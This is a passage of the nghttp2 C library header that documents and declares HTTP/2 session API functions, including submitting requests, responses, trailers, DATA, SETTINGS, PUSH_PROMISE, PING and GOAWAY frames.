The |settings_payloadlen| is the * length of |settings_payload|. It is treated as if the SETTINGS * frame with that payload is received. Thus, callback functions for * the reception of SETTINGS frame will be invoked. The stream with * stream ID=1 is opened. The |stream_user_data| is ignored. The * opened stream becomes half-closed (remote). * * If the request method is HEAD, pass nonzero value to * |head_request|. Otherwise, pass 0. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |settings_payload| is badly formed. * :enum:`nghttp2_error.NGHTTP2_ERR_PROTO` * The stream ID 1 is already used or closed; or is not available. */ NGHTTP2_EXTERN int nghttp2_session_upgrade2(nghttp2_session *session, const uint8_t *settings_payload, size_t settings_payloadlen, int head_request, void *stream_user_data); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_pack_settings_payload2()` instead. * * Serializes the SETTINGS values |iv| in the |buf|. The size of the * |buf| is specified by |buflen|. The number of entries in the |iv| * array is given by |niv|. The required space in |buf| for the |niv| * entries is ``6*niv`` bytes and if the given buffer is too small, an * error is returned. This function is used mainly for creating a * SETTINGS payload to be sent with the ``HTTP2-Settings`` header * field in an HTTP Upgrade request. The data written in |buf| is NOT * base64url encoded and the application is responsible for encoding. * * This function returns the number of bytes written in |buf|, or one * of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |iv| contains duplicate settings ID or invalid value. * * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE` * The provided |buflen| size is too small to hold the output. */ NGHTTP2_EXTERN ssize_t nghttp2_pack_settings_payload( uint8_t *buf, size_t buflen, const nghttp2_settings_entry *iv, size_t niv); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Serializes the SETTINGS values |iv| in the |buf|. The size of the * |buf| is specified by |buflen|. The number of entries in the |iv| * array is given by |niv|. The required space in |buf| for the |niv| * entries is ``6*niv`` bytes and if the given buffer is too small, an * error is returned. This function is used mainly for creating a * SETTINGS payload to be sent with the ``HTTP2-Settings`` header * field in an HTTP Upgrade request. The data written in |buf| is NOT * base64url encoded and the application is responsible for encoding. * * This function returns the number of bytes written in |buf|, or one * of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |iv| contains duplicate settings ID or invalid value. * * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE` * The provided |buflen| size is too small to hold the output. */ NGHTTP2_EXTERN nghttp2_ssize nghttp2_pack_settings_payload2( uint8_t *buf, size_t buflen, const nghttp2_settings_entry *iv, size_t niv); /** * @function * * Returns string describing the |lib_error_code|. The * |lib_error_code| must be one of the :enum:`nghttp2_error`. */ NGHTTP2_EXTERN const char *nghttp2_strerror(int lib_error_code); /** * @function * * Returns string representation of HTTP/2 error code |error_code| * (e.g., ``PROTOCOL_ERROR`` is returned if ``error_code == * NGHTTP2_PROTOCOL_ERROR``). If string representation is unknown for * given |error_code|, this function returns string ``unknown``. */ NGHTTP2_EXTERN const char *nghttp2_http2_strerror(uint32_t error_code); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * Initializes |pri_spec| with the |stream_id| of the stream to depend * on with |weight| and its exclusive flag. If |exclusive| is * nonzero, exclusive flag is set. * * The |weight| must be in [:macro:`NGHTTP2_MIN_WEIGHT`, * :macro:`NGHTTP2_MAX_WEIGHT`], inclusive. */ NGHTTP2_EXTERN void nghttp2_priority_spec_init(nghttp2_priority_spec *pri_spec, int32_t stream_id, int32_t weight, int exclusive); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * Initializes |pri_spec| with the default values. The default values * are: stream_id = 0, weight = :macro:`NGHTTP2_DEFAULT_WEIGHT` and * exclusive = 0. */ NGHTTP2_EXTERN void nghttp2_priority_spec_default_init(nghttp2_priority_spec *pri_spec); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * Returns nonzero if the |pri_spec| is filled with default values. */ NGHTTP2_EXTERN int nghttp2_priority_spec_check_default(const nghttp2_priority_spec *pri_spec); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_submit_request2()` instead. * * Submits HEADERS frame and optionally one or more DATA frames. * * The |pri_spec| is ignored. * * The |nva| is an array of name/value pair :type:`nghttp2_nv` with * |nvlen| elements. The application is responsible to include * required pseudo-header fields (header field whose name starts with * ":") in |nva| and must place pseudo-headers before regular header * fields. * * This function creates copies of all name/value pairs in |nva|. It * also lower-cases all names in |nva|. The order of elements in * |nva| is preserved. For header fields with * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME` and * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_VALUE` are set, * header field name and value are not copied respectively. With * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME`, application * is responsible to pass header field name in lowercase. The * application should maintain the references to them until * :type:`nghttp2_on_frame_send_callback` or * :type:`nghttp2_on_frame_not_send_callback` is called. * * HTTP/2 specification has requirement about header fields in the * request HEADERS. See the specification for more details. * * If |data_prd| is not ``NULL``, it provides data which will be sent * in subsequent DATA frames. In this case, a method that allows * request message bodies * (https://tools.ietf.org/html/rfc7231#section-4) must be specified * with ``:method`` key in |nva| (e.g. ``POST``). This function does * not take ownership of the |data_prd|. The function copies the * members of the |data_prd|. If |data_prd| is ``NULL``, HEADERS have * END_STREAM set. The |stream_user_data| is data associated to the * stream opened by this request and can be an arbitrary pointer, * which can be retrieved later by * `nghttp2_session_get_stream_user_data()`. * * This function returns assigned stream ID if it succeeds, or one of * the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_STREAM_ID_NOT_AVAILABLE` * No stream ID is available because maximum stream ID was * reached. * :enum:`nghttp2_error.NGHTTP2_ERR_PROTO` * The |session| is server session. * * .. warning:: * * This function returns assigned stream ID if it succeeds. But * that stream is not created yet. The application must not submit * frame to that stream ID before * :type:`nghttp2_before_frame_send_callback` is called for this * frame. This means `nghttp2_session_get_stream_user_data()` does * not work before the callback. But * `nghttp2_session_set_stream_user_data()` handles this situation * specially, and it can set data to a stream during this period. * */ NGHTTP2_EXTERN int32_t nghttp2_submit_request( nghttp2_session *session, const nghttp2_priority_spec *pri_spec, const nghttp2_nv *nva, size_t nvlen, const nghttp2_data_provider *data_prd, void *stream_user_data); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Submits HEADERS frame and optionally one or more DATA frames. * * The |pri_spec| is ignored. * * The |nva| is an array of name/value pair :type:`nghttp2_nv` with * |nvlen| elements. The application is responsible to include * required pseudo-header fields (header field whose name starts with * ":") in |nva| and must place pseudo-headers before regular header * fields. * * This function creates copies of all name/value pairs in |nva|. It * also lower-cases all names in |nva|. The order of elements in * |nva| is preserved. For header fields with * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME` and * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_VALUE` are set, * header field name and value are not copied respectively. With * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME`, application * is responsible to pass header field name in lowercase. The * application should maintain the references to them until * :type:`nghttp2_on_frame_send_callback` or * :type:`nghttp2_on_frame_not_send_callback` is called. * * HTTP/2 specification has requirement about header fields in the * request HEADERS. See the specification for more details. * * If |data_prd| is not ``NULL``, it provides data which will be sent * in subsequent DATA frames. In this case, a method that allows * request message bodies * (https://tools.ietf.org/html/rfc7231#section-4) must be specified * with ``:method`` key in |nva| (e.g. ``POST``). This function does * not take ownership of the |data_prd|. The function copies the * members of the |data_prd|. If |data_prd| is ``NULL``, HEADERS have * END_STREAM set. The |stream_user_data| is data associated to the * stream opened by this request and can be an arbitrary pointer, * which can be retrieved later by * `nghttp2_session_get_stream_user_data()`. * * This function returns assigned stream ID if it succeeds, or one of * the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_STREAM_ID_NOT_AVAILABLE` * No stream ID is available because maximum stream ID was * reached. * :enum:`nghttp2_error.NGHTTP2_ERR_PROTO` * The |session| is server session. * * .. warning:: * * This function returns assigned stream ID if it succeeds. But * that stream is not created yet. The application must not submit * frame to that stream ID before * :type:`nghttp2_before_frame_send_callback` is called for this * frame. This means `nghttp2_session_get_stream_user_data()` does * not work before the callback. But * `nghttp2_session_set_stream_user_data()` handles this situation * specially, and it can set data to a stream during this period. * */ NGHTTP2_EXTERN int32_t nghttp2_submit_request2( nghttp2_session *session, const nghttp2_priority_spec *pri_spec, const nghttp2_nv *nva, size_t nvlen, const nghttp2_data_provider2 *data_prd, void *stream_user_data); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_submit_response2()` instead. * * Submits response HEADERS frame and optionally one or more DATA * frames against the stream |stream_id|. * * The |nva| is an array of name/value pair :type:`nghttp2_nv` with * |nvlen| elements. The application is responsible to include * required pseudo-header fields (header field whose name starts with * ":") in |nva| and must place pseudo-headers before regular header * fields. * * This function creates copies of all name/value pairs in |nva|. It * also lower-cases all names in |nva|. The order of elements in * |nva| is preserved. For header fields with * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME` and * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_VALUE` are set, * header field name and value are not copied respectively. With * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME`, application * is responsible to pass header field name in lowercase. The * application should maintain the references to them until * :type:`nghttp2_on_frame_send_callback` or * :type:`nghttp2_on_frame_not_send_callback` is called. * * HTTP/2 specification has requirement about header fields in the * response HEADERS. See the specification for more details. * * If |data_prd| is not ``NULL``, it provides data which will be sent * in subsequent DATA frames. This function does not take ownership * of the |data_prd|. The function copies the members of the * |data_prd|. If |data_prd| is ``NULL``, HEADERS will have * END_STREAM flag set. * * This method can be used as normal HTTP response and push response. * When pushing a resource using this function, the |session| must be * configured using `nghttp2_session_server_new()` or its variants and * the target stream denoted by the |stream_id| must be reserved using * `nghttp2_submit_push_promise()`. * * To send non-final response headers (e.g., HTTP status 101), don't * use this function because this function half-closes the outbound * stream. Instead, use `nghttp2_submit_headers()` for this purpose. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. * :enum:`nghttp2_error.NGHTTP2_ERR_DATA_EXIST` * DATA or HEADERS has been already submitted and not fully * processed yet. Normally, this does not happen, but when * application wrongly calls `nghttp2_submit_response()` twice, * this may happen. * :enum:`nghttp2_error.NGHTTP2_ERR_PROTO` * The |session| is client session. * * .. warning:: * * Calling this function twice for the same stream ID may lead to * program crash. It is generally considered to a programming error * to commit response twice. */ NGHTTP2_EXTERN int nghttp2_submit_response(nghttp2_session *session, int32_t stream_id, const nghttp2_nv *nva, size_t nvlen, const nghttp2_data_provider *data_prd); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Submits response HEADERS frame and optionally one or more DATA * frames against the stream |stream_id|. * * The |nva| is an array of name/value pair :type:`nghttp2_nv` with * |nvlen| elements. The application is responsible to include * required pseudo-header fields (header field whose name starts with * ":") in |nva| and must place pseudo-headers before regular header * fields. * * This function creates copies of all name/value pairs in |nva|. It * also lower-cases all names in |nva|. The order of elements in * |nva| is preserved. For header fields with * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME` and * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_VALUE` are set, * header field name and value are not copied respectively. With * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME`, application * is responsible to pass header field name in lowercase. The * application should maintain the references to them until * :type:`nghttp2_on_frame_send_callback` or * :type:`nghttp2_on_frame_not_send_callback` is called. * * HTTP/2 specification has requirement about header fields in the * response HEADERS. See the specification for more details. * * If |data_prd| is not ``NULL``, it provides data which will be sent * in subsequent DATA frames. This function does not take ownership * of the |data_prd|. The function copies the members of the * |data_prd|. If |data_prd| is ``NULL``, HEADERS will have * END_STREAM flag set. * * This method can be used as normal HTTP response and push response. * When pushing a resource using this function, the |session| must be * configured using `nghttp2_session_server_new()` or its variants and * the target stream denoted by the |stream_id| must be reserved using * `nghttp2_submit_push_promise()`. * * To send non-final response headers (e.g., HTTP status 101), don't * use this function because this function half-closes the outbound * stream. Instead, use `nghttp2_submit_headers()` for this purpose. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. * :enum:`nghttp2_error.NGHTTP2_ERR_DATA_EXIST` * DATA or HEADERS has been already submitted and not fully * processed yet. Normally, this does not happen, but when * application wrongly calls `nghttp2_submit_response2()` twice, * this may happen. * :enum:`nghttp2_error.NGHTTP2_ERR_PROTO` * The |session| is client session. * * .. warning:: * * Calling this function twice for the same stream ID may lead to * program crash. It is generally considered to a programming error * to commit response twice. */ NGHTTP2_EXTERN int nghttp2_submit_response2(nghttp2_session *session, int32_t stream_id, const nghttp2_nv *nva, size_t nvlen, const nghttp2_data_provider2 *data_prd); /** * @function * * Submits trailer fields HEADERS against the stream |stream_id|. * * The |nva| is an array of name/value pair :type:`nghttp2_nv` with * |nvlen| elements. The application must not include pseudo-header * fields (headers whose names starts with ":") in |nva|. * * This function creates copies of all name/value pairs in |nva|. It * also lower-cases all names in |nva|. The order of elements in * |nva| is preserved. For header fields with * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME` and * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_VALUE` are set, * header field name and value are not copied respectively. With * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME`, application * is responsible to pass header field name in lowercase. The * application should maintain the references to them until * :type:`nghttp2_on_frame_send_callback` or * :type:`nghttp2_on_frame_not_send_callback` is called. * * For server, trailer fields must follow response HEADERS or response * DATA without END_STREAM flat set. The library does not enforce * this requirement, and applications should do this for themselves. * If `nghttp2_submit_trailer()` is called before any response HEADERS * submission (usually by `nghttp2_submit_response2()`), the content * of |nva| will be sent as response headers, which will result in * error. * * This function has the same effect with `nghttp2_submit_headers()`, * with flags = :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM` and both * pri_spec and stream_user_data to NULL. * * To submit trailer fields after `nghttp2_submit_response2()` is * called, the application has to specify * :type:`nghttp2_data_provider2` to `nghttp2_submit_response2()`. * Inside of :type:`nghttp2_data_source_read_callback2`, when setting * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_EOF`, also set * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_END_STREAM`. After * that, the application can send trailer fields using * `nghttp2_submit_trailer()`. `nghttp2_submit_trailer()` can be used * inside :type:`nghttp2_data_source_read_callback2`. * * This function returns 0 if it succeeds and |stream_id| is -1. * Otherwise, this function returns 0 if it succeeds, or one of the * following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. */ NGHTTP2_EXTERN int nghttp2_submit_trailer(nghttp2_session *session, int32_t stream_id, const nghttp2_nv *nva, size_t nvlen); /** * @function * * Submits HEADERS frame. The |flags| is bitwise OR of the * following values: * * * :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM` * * If |flags| includes :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM`, * this frame has END_STREAM flag set. * * The library handles the CONTINUATION frame internally and it * correctly sets END_HEADERS to the last sequence of the PUSH_PROMISE * or CONTINUATION frame. * * If the |stream_id| is -1, this frame is assumed as request (i.e., * request HEADERS frame which opens new stream). In this case, the * assigned stream ID will be returned. Otherwise, specify stream ID * in |stream_id|. * * The |pri_spec| is ignored. * * The |nva| is an array of name/value pair :type:`nghttp2_nv` with * |nvlen| elements. The application is responsible to include * required pseudo-header fields (header field whose name starts with * ":") in |nva| and must place pseudo-headers before regular header * fields. * * This function creates copies of all name/value pairs in |nva|. It * also lower-cases all names in |nva|. The order of elements in * |nva| is preserved. For header fields with * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME` and * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_VALUE` are set, * header field name and value are not copied respectively. With * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME`, application * is responsible to pass header field name in lowercase. The * application should maintain the references to them until * :type:`nghttp2_on_frame_send_callback` or * :type:`nghttp2_on_frame_not_send_callback` is called. * * The |stream_user_data| is a pointer to an arbitrary data which is * associated to the stream this frame will open. Therefore it is * only used if this frame opens streams, in other words, it changes * stream state from idle or reserved to open. * * This function is low-level in a sense that the application code can * specify flags directly. For usual HTTP request, * `nghttp2_submit_request2()` is useful. Likewise, for HTTP * response, prefer `nghttp2_submit_response2()`. * * This function returns newly assigned stream ID if it succeeds and * |stream_id| is -1. Otherwise, this function returns 0 if it * succeeds, or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_STREAM_ID_NOT_AVAILABLE` * No stream ID is available because maximum stream ID was * reached. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. * :enum:`nghttp2_error.NGHTTP2_ERR_DATA_EXIST` * DATA or HEADERS has been already submitted and not fully * processed yet. This happens if stream denoted by |stream_id| * is in reserved state. * :enum:`nghttp2_error.NGHTTP2_ERR_PROTO` * The |stream_id| is -1, and |session| is server session. * * .. warning:: * * This function returns assigned stream ID if it succeeds and * |stream_id| is -1. But that stream is not opened yet. The * application must not submit frame to that stream ID before * :type:`nghttp2_before_frame_send_callback` is called for this * frame. * */ NGHTTP2_EXTERN int32_t nghttp2_submit_headers( nghttp2_session *session, uint8_t flags, int32_t stream_id, const nghttp2_priority_spec *pri_spec, const nghttp2_nv *nva, size_t nvlen, void *stream_user_data); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_submit_data2()` instead. * * Submits one or more DATA frames to the stream |stream_id|. The * data to be sent are provided by |data_prd|. If |flags| contains * :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM`, the last DATA frame * has END_STREAM flag set. * * This function does not take ownership of the |data_prd|. The * function copies the members of the |data_prd|. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_DATA_EXIST` * DATA or HEADERS has been already submitted and not fully * processed yet. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. * :enum:`nghttp2_error.NGHTTP2_ERR_STREAM_CLOSED` * The stream was already closed; or the |stream_id| is invalid. * * .. note:: * * Currently, only one DATA or HEADERS is allowed for a stream at a * time. Submitting these frames more than once before first DATA * or HEADERS is finished results in * :enum:`nghttp2_error.NGHTTP2_ERR_DATA_EXIST` error code. The * earliest callback which tells that previous frame is done is * :type:`nghttp2_on_frame_send_callback`. In side that callback, * new data can be submitted using `nghttp2_submit_data()`. Of * course, all data except for last one must not have * :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM` flag set in |flags|. * This sounds a bit complicated, and we recommend to use * `nghttp2_submit_request()` and `nghttp2_submit_response()` to * avoid this cascading issue. The experience shows that for HTTP * use, these two functions are enough to implement both client and * server. */ NGHTTP2_EXTERN int nghttp2_submit_data(nghttp2_session *session, uint8_t flags, int32_t stream_id, const nghttp2_data_provider *data_prd); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Submits one or more DATA frames to the stream |stream_id|. The * data to be sent are provided by |data_prd|. If |flags| contains * :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM`, the last DATA frame * has END_STREAM flag set. * * This function does not take ownership of the |data_prd|. The * function copies the members of the |data_prd|. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_DATA_EXIST` * DATA or HEADERS has been already submitted and not fully * processed yet. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. * :enum:`nghttp2_error.NGHTTP2_ERR_STREAM_CLOSED` * The stream was already closed; or the |stream_id| is invalid. * * .. note:: * * Currently, only one DATA or HEADERS is allowed for a stream at a * time. Submitting these frames more than once before first DATA * or HEADERS is finished results in * :enum:`nghttp2_error.NGHTTP2_ERR_DATA_EXIST` error code. The * earliest callback which tells that previous frame is done is * :type:`nghttp2_on_frame_send_callback`. In side that callback, * new data can be submitted using `nghttp2_submit_data2()`. Of * course, all data except for last one must not have * :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM` flag set in |flags|. * This sounds a bit complicated, and we recommend to use * `nghttp2_submit_request2()` and `nghttp2_submit_response2()` to * avoid this cascading issue. The experience shows that for HTTP * use, these two functions are enough to implement both client and * server. */ NGHTTP2_EXTERN int nghttp2_submit_data2(nghttp2_session *session, uint8_t flags, int32_t stream_id, const nghttp2_data_provider2 *data_prd); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function is noop. It always returns 0. */ NGHTTP2_EXTERN int nghttp2_submit_priority(nghttp2_session *session, uint8_t flags, int32_t stream_id, const nghttp2_priority_spec *pri_spec); /** * @macro * * :macro:`NGHTTP2_EXTPRI_DEFAULT_URGENCY` is the default urgency * level for :rfc:`9218` extensible priorities. */ #define NGHTTP2_EXTPRI_DEFAULT_URGENCY 3 /** * @macro * * :macro:`NGHTTP2_EXTPRI_URGENCY_HIGH` is the highest urgency level * for :rfc:`9218` extensible priorities. */ #define NGHTTP2_EXTPRI_URGENCY_HIGH 0 /** * @macro * * :macro:`NGHTTP2_EXTPRI_URGENCY_LOW` is the lowest urgency level for * :rfc:`9218` extensible priorities. */ #define NGHTTP2_EXTPRI_URGENCY_LOW 7 /** * @macro * * :macro:`NGHTTP2_EXTPRI_URGENCY_LEVELS` is the number of urgency * levels for :rfc:`9218` extensible priorities. */ #define NGHTTP2_EXTPRI_URGENCY_LEVELS (NGHTTP2_EXTPRI_URGENCY_LOW + 1) /** * @struct * * :type:`nghttp2_extpri` is :rfc:`9218` extensible priorities * specification for a stream. */ typedef struct nghttp2_extpri { /** * :member:`urgency` is the urgency of a stream, it must be in * [:macro:`NGHTTP2_EXTPRI_URGENCY_HIGH`, * :macro:`NGHTTP2_EXTPRI_URGENCY_LOW`], inclusive, and 0 is the * highest urgency. */ uint32_t urgency; /** * :member:`inc` indicates that a content can be processed * incrementally or not. If inc is 0, it cannot be processed * incrementally. If inc is 1, it can be processed incrementally. * Other value is not permitted. */ int inc; } nghttp2_extpri; /** * @function * * Submits RST_STREAM frame to cancel/reject the stream |stream_id| * with the error code |error_code|. * * The pre-defined error code is one of :enum:`nghttp2_error_code`. * * The |flags| is currently ignored and should be * :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. */ NGHTTP2_EXTERN int nghttp2_submit_rst_stream(nghttp2_session *session, uint8_t flags, int32_t stream_id, uint32_t error_code); /** * @function * * Stores local settings and submits SETTINGS frame. The |iv| is the * pointer to the array of :type:`nghttp2_settings_entry`. The |niv| * indicates the number of :type:`nghttp2_settings_entry`. * * The |flags| is currently ignored and should be * :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * This function does not take ownership of the |iv|. This function * copies all the elements in the |iv|. * * While updating individual stream's local window size, if the window * size becomes strictly larger than NGHTTP2_MAX_WINDOW_SIZE, * RST_STREAM is issued against such a stream. * * SETTINGS with :enum:`nghttp2_flag.NGHTTP2_FLAG_ACK` is * automatically submitted by the library and application could not * send it at its will. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |iv| contains invalid value (e.g., initial window size * strictly greater than (1 << 31) - 1. * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_submit_settings(nghttp2_session *session, uint8_t flags, const nghttp2_settings_entry *iv, size_t niv); /** * @function * * Submits PUSH_PROMISE frame. * * The |flags| is currently ignored. The library handles the * CONTINUATION frame internally and it correctly sets END_HEADERS to * the last sequence of the PUSH_PROMISE or CONTINUATION frame. * * The |stream_id| must be client initiated stream ID. * * The |nva| is an array of name/value pair :type:`nghttp2_nv` with * |nvlen| elements. The application is responsible to include * required pseudo-header fields (header field whose name starts with * ":") in |nva| and must place pseudo-headers before regular header * fields. * * This function creates copies of all name/value pairs in |nva|. It * also lower-cases all names in |nva|. The order of elements in * |nva| is preserved. For header fields with * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME` and * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_VALUE` are set, * header field name and value are not copied respectively. With * :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME`, application * is responsible to pass header field name in lowercase. The * application should maintain the references to them until * :type:`nghttp2_on_frame_send_callback` or * :type:`nghttp2_on_frame_not_send_callback` is called. * * The |promised_stream_user_data| is a pointer to an arbitrary data * which is associated to the promised stream this frame will open and * make it in reserved state. It is available using * `nghttp2_session_get_stream_user_data()`. The application can * access it in :type:`nghttp2_before_frame_send_callback` and * :type:`nghttp2_on_frame_send_callback` of this frame. * * The client side is not allowed to use this function. * * To submit response headers and data, use * `nghttp2_submit_response2()`. * * This function returns assigned promised stream ID if it succeeds, * or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_PROTO` * This function was invoked when |session| is initialized as * client. * :enum:`nghttp2_error.NGHTTP2_ERR_STREAM_ID_NOT_AVAILABLE` * No stream ID is available because maximum stream ID was * reached. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0; The |stream_id| does not designate stream * that peer initiated. * :enum:`nghttp2_error.NGHTTP2_ERR_STREAM_CLOSED` * The stream was already closed; or the |stream_id| is invalid. * * .. warning:: * * This function returns assigned promised stream ID if it succeeds. * As of 1.16.0, stream object for pushed resource is created when * this function succeeds. In that case, the application can submit * push response for the promised frame. * * In 1.15.0 or prior versions, pushed stream is not opened yet when * this function succeeds. The application must not submit frame to * that stream ID before :type:`nghttp2_before_frame_send_callback` * is called for this frame. * */ NGHTTP2_EXTERN int32_t nghttp2_submit_push_promise( nghttp2_session *session, uint8_t flags, int32_t stream_id, const nghttp2_nv *nva, size_t nvlen, void *promised_stream_user_data); /** * @function * * Submits PING frame. You don't have to send PING back when you * received PING frame. The library automatically submits PING frame * in this case. * * The |flags| is bitwise OR of 0 or more of the following value. * * * :enum:`nghttp2_flag.NGHTTP2_FLAG_ACK` * * Unless `nghttp2_option_set_no_auto_ping_ack()` is used, the |flags| * should be :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * If the |opaque_data| is non ``NULL``, then it should point to the 8 * bytes array of memory to specify opaque data to send with PING * frame. If the |opaque_data| is ``NULL``, zero-cleared 8 bytes will * be sent as opaque data. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_submit_ping(nghttp2_session *session, uint8_t flags, const uint8_t *opaque_data); /** * @function * * Submits GOAWAY frame with the last stream ID |last_stream_id| and * the error code |error_code|. * * The pre-defined error code is one of :enum:`nghttp2_error_code`. * * The |flags| is currently ignored and should be * :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * The |last_stream_id| is peer's stream ID or 0. So if |session| is * initialized as client, |last_stream_id| must be even or 0. If * |session| is initialized as server, |last_stream_id| must be odd or * 0. * * The HTTP/2 specification says last_stream_id must not be increased * from the value previously sent. So the actual value sent as * last_stream_id is the minimum value between the given * |last_stream_id| and the last_stream_id previously sent to the * peer. * * If the |opaque_data| is not ``NULL`` and |opaque_data_len| is not * zero, those data will be sent as additional debug data. The * library makes a copy of the memory region pointed by |opaque_data| * with the length |opaque_data_len|, so the caller does not need to * keep this memory after the return of this function. If the * |opaque_data_len| is 0, the |opaque_data| could be ``NULL``. * * After successful transmission of GOAWAY, following things happen. * All incoming streams having strictly more than |last_stream_id| are * closed. All incoming HEADERS which starts new stream are simply * ignored. After all active streams are handled, both * `nghttp2_session_want_read()` and `nghttp2_session_want_write()` * return 0 and the 